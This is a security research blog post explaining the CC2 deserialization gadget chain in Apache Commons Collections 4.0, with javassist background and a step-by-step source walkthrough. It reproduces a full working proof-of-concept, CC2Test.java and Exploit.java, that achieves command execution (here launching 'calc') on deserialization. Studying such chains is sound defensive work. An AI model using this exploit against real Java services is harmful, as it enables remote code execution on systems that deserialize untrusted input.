Java Security Research - CC2 Chain of Deserialization Vulnerabilities

0x01 bytecode programming

Before studying the CC2 chain, it is necessary to understand what bytecode programming is.

Import dependencies in Maven projects

  <dependency>

    <groupId>org.javassist</groupId>

    <artifactId>javassist</artifactId>

    <version>3.22.0-GA</version>

  </dependency>

Bytecode programming is a bit similar to reflection, but it is more powerful than the reflection mechanism.

In the reflection mechanism, classes can be dynamically loaded, objects can be created, and methods and properties of classes can be obtained. The reflection mechanism operates on an already created class. However, in bytecode programming, we can not only dynamically load classes, but also create a new class, modify or add methods and properties of any class during the running of the program according to our needs.

ClassPool: The bytecode of the class that the ClassPool class can control, such as creating a class or loading a class, similar to the JVM class loader

CtClass: CtClass provides class operations, such as dynamically adding new fields, methods, and constructors to classes, and methods to change classes, parent classes, and interfaces

CtField: The attribute of the class, through which new attributes can be created for the class, and the type of existing attributes, access modifiers, etc. can be modified

CtMethod: Indicates the method in the class, through which you can create new methods for the class, modify the return type, access modifiers, etc., and even modify the content code of the method body

CtConstructor: used to access the construction of the class, similar to the role of the CtMethod class

For the specific use of the above classes, you can refer to an article by a big guy, which is very detailed. 10-java security foundation - javassist bytecode programming_songly_'s blog-CSDN blogjavassist is an open source class library for analyzing, editing and creating Java bytecodes. The API provided by javassist can be edited while the java program is running The bytecode information of a class changes the structure information of the class. In addition to Javassist, common bytecode programming tools include ASM and byte-buddy, but these two tools are relatively more low-level and need to understand the instructions of jvm. By using javassist, you don't need to understand jvm instructions, just use the API interface provided by the javassist class library to realize bytecode programming. Classes commonly used in javassist bytecode programming: ClassPool: Cla. https://songly.blog.csdn.net/article/details/118944928

 0x02 Construction chain analysis

The CC2 chain is constructed using version 4.0 of the apache commons collections component. Put the POC of the predecessors first.

CC2Test.java

package com.cc;
 
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
 
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
 
public class CC2Test {
    public static void main(String[] args) throws Exception {
        //构造恶意类Exploit并转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.cc.Exploit");
        byte[] bytes = ctClass.toBytecode();
 
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");
 
        //构造利用链
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
        TransformingComparator transformer_comparator =new TransformingComparator(transformer);
        //触发漏洞
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
 
        //设置comparator属性
        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformer_comparator);
 
        //设置queue属性
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //队列至少需要2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
        field.set(queue,objects);
        
        //序列化 ---> 反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
    }
}

Exploit.java

package com.cc;
 
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 
public class Exploit extends AbstractTranslet {
 
    public Exploit() {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        // TODO Auto-generated method stub
        
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
        // TODO Auto-generated method stub
        
    }
 

}

 Next step by step analysis process.

1. Construct malicious class Exploit and convert it into bytecode

//获取classPoll类对象池,可以获取各种类的CtClass
ClassPool classPool = ClassPool.getDefault();
//获得恶意类Exploit的Ctclass对象
CtClass ctClass = classPool.getCtClass("com.cc.Exploit");
//将上面的CtClass对象转为字节码
byte[] bytes = ctClass.toBytecode();

Here are some basic classes and methods for bytecode programming. CtClass needs to be understood: every class in Java will generate a Class object, CtClass can be regarded as the controller of a Class object, can create a Class object, and can also add or modify methods and properties in the Class object.

2. Put the malicious Exploit bytecode into the TemplatesImpl object

//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");

These are the basic operations of some reflections, focusing on why the _bytecodes attribute and the _name attribute are set.

Enter the source code for analysis. In the TemplatesImpl class, the _bytecodes attribute is a byte array, and _name is a string. The key point is that in the defineTransletClasses method, the malicious bytecode stored in _bytecodes is converted into a Class object and stored in the _class attribute. Note: Now _class saves the Class object of the malicious Exploit class.

 That being the case, if you want to load the malicious Class object in _class, find a method that meets the following conditions.

1. First call the defineTransletClasses method (pass the malicious Class object into the _class attribute)

2. Call newInstance with _class attribute to load malicious Class object.

lock to getTransletInstance method

At the beginning of the code, if _name is empty, it will return directly, which is why we need to set a value for the _name attribute. Immediately after _class is empty, call the defineTransletClasses method, pass the malicious Class object into the _class attribute, and then create the malicious Class object stored in _class through newInstance reflection.

There is another simple point that needs to be explained: it is the value of this _transletIndex.

In the defineTransletClasses method

 It will judge whether the Class object stored in _class is a subclass of AbstractTranslet, so we need to inherit AbstractTranslet when constructing a malicious class.

 Now back to getTransletInstance, we need to continue to find where the getTransletInstance method is called. Navigate to the newTransformer method.

 

3. Construct utilization chain

Then the key point now is how to call the newTransformer method. Looking back at the InvokerTransformer class in the CC1 chain, there is a transform method that will reflect the method according to the three member attributes passed in iMethodName, iParamTypes, and iArgs. So we can pass newTransformer into the iMethodName property.

//构造利用链
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);

At this time, we must continue to look for where the transform method of InvokerTransformer is called, and also implement the Serializable interface. Found the TransformingComparator class, the compare method in him.

 The transformer attribute is controllable and can be passed in through the construction method. The above-mentioned InvokerTransformer object is passed into the transformer attribute in the TransformingComparator class. When the compare method is called, the transform method of the InvokerTransformer class will be executed through the reflection mechanism. Call the newTransformer method of the TemplatesImpl object

4. Trigger the utilization chain through PriorityQueue

According to the analysis in 3, it is now necessary to find a method to call the compare method in TransformingComparator.

Analyze: TransformingComparator implements the Comparator interface and is a custom comparator. In the use of collections, in order to store two classes in the collection, it is necessary to implement the Comparator interface and the compare method in it, so that the elements in the collection can be operated according to the definition in the method.

So we can use the collection, the TransformingComparator comparator, and this collection must also implement the Serializable interface, and rewrite the readObject method, and the Comparator comparator is called in the method.

The PriorityQueue class satisfies the above conditions.

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

//设置comparator属性为TransformingComparator对象
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);

//设置queue属性为 保存了“恶意类Exploit”字节码的TemplatesImpl对象
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//队列至少需要2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);

According to this part of the code of poc, the PriorityQueue object

The comparator attribute is transformer_comparator , which is the TransformingComparator comparator

The queue attribute is an array of TemplatesImpl objects that save the "malicious class Exploit" bytecode

Knowing these two points, let's look at the readObject method

 

 First, the s.readObject() method is called cyclically to restore the TemplatesImpl object that saved the bytecode of the "malicious class Exploit" to a Java object, store it in the above-mentioned queue (an array), and then call the heapify method. Continue to follow up to see the heapify method

Pass each object in the queue as a parameter to the siftDown method, then continue to follow up the siftDown method

Note that a judgment is made on whether the comparator is empty, because we have set the comparator attribute to the TransformingComparator comparator, so we directly follow up the siftDownUsingComparator method, and the same formal parameter x is our queue attribute

 You can see that the comparator is called in the siftDownUsingComparator method

The comparator attribute is a TransformingComparator comparator, that is, the compare method of TransformingComparator is called

 

5. Deserialization

When deserializing, the readObject method of PriorityQueue will be called, and then it will be executed according to the above exploit chain.

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();

0x03 Epilogue

After the recent research on Java, the code analysis ability has also improved to a certain extent. When I was learning the CC1 chain, I was still confused, but now I am getting more and more handy. I continue to learn and make continuous progress.

Guess you like

Origin blog.csdn.net/weixin_43889136/article/details/124682636